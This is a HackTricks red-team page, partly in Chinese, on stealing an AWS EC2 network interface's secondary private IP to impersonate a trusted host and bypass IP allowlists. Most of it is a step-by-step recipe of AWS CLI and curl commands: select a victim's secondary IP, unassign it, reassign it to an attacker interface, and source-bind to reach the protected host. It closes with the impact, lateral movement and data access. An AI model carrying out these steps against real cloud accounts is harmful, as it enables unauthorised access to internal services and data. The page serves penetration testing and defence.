AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

滥用 ec2:UnassignPrivateIpAddressesec2:AssignPrivateIpAddresses 来窃取受害者 ENI 的 secondary private IP,并将其在相同 subnet/AZ 中移动到攻击者 ENI。许多内部服务和 security groups 通过特定的 private IPs 控制访问。通过移动该 secondary 地址,攻击者在 L3 冒充被信任的主机,从而可以访问被 allowlisted 的服务。

Prereqs:

  • Permissions: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses on the victim ENI ARN, and ec2:AssignPrivateIpAddresses on the attacker ENI ARN.
  • Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP
  • PROTECTED_HOST=

Steps:

  1. Pick a secondary IP from the victim ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. 确保受保护的主机只允许该 IP (幂等)。如果使用 SG-to-SG 规则,则跳过。
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. 基线:从 attacker instance 发起到 PROTECTED_HOST 的请求在没有伪造源(例如通过 SSM/SSH)时应该会失败
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. 从受害者 ENI 上取消分配 secondary IP
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. 将相同的 IP 分配给 attacker ENI (在 AWS CLI v1 上添加 --allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. 验证所有权已转移
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. 从攻击者实例上,使用 source-bind 绑定到被劫持的 IP 以访问受保护的主机(确保该 IP 已在操作系统上配置;如果没有,用 ip addr add $HIJACK_IP/<mask> dev eth0 添加)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

影响

  • 通过在同一 subnet/AZ 的 ENIs 之间移动 secondary private IPs,绕过 IP allowlists 并冒充 VPC 内的受信任主机。
  • 访问那些通过特定 source IPs 进行访问控制的内部服务,从而实现横向移动并获取数据访问。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks